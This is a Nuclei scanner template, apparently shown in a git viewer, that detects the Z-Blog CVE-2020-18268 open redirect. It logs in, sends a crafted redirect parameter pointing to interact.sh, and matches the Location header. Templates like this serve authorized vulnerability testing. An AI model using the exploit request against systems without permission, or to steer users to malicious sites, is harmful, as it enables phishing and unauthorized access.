nuclei-templates/http/cves/2020/CVE-2020-18268.yaml

48 lines
1.7 KiB
YAML
Raw Normal View History

2022-01-26 22:01:17 +00:00
id: CVE-2020-18268
info:
name: Z-Blog <=1.5.2 - Open Redirect
2022-01-26 22:01:17 +00:00
author: 0x_Akoko
severity: medium
description: Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade Z-Blog to version 1.5.3 or later to fix the open redirect vulnerability.
2022-01-26 22:01:17 +00:00
reference:
- https://github.com/zblogcn/zblogphp/issues/216
- https://github.com/zblogcn/zblogphp/issues/209
- https://nvd.nist.gov/vuln/detail/CVE-2020-18268
2022-01-26 22:01:17 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-01-26 22:01:17 +00:00
cve-id: CVE-2020-18268
cwe-id: CWE-601
epss-score: 0.00138
epss-percentile: 0.4903
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:zblogcn:z-blogphp:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-15 16:29:17 +00:00
vendor: zblogcn
product: z-blogphp
tags: cve,cve2020,redirect,zblogphp,authenticated
2022-01-26 22:01:17 +00:00
http:
2022-01-31 19:11:58 +00:00
- raw:
- |
POST /zb_system/cmd.php?act=verify HTTP/1.1
Host: {{Hostname}}
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Connection: close
2022-01-26 22:01:17 +00:00
2022-01-31 19:11:58 +00:00
btnPost=Log+In&username={{username}}&password={{md5("{{password}}")}}&savedate=0
- |
GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2
2022-01-31 19:11:58 +00:00
Host: {{Hostname}}
cookie-reuse: true
2022-01-26 22:01:17 +00:00
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1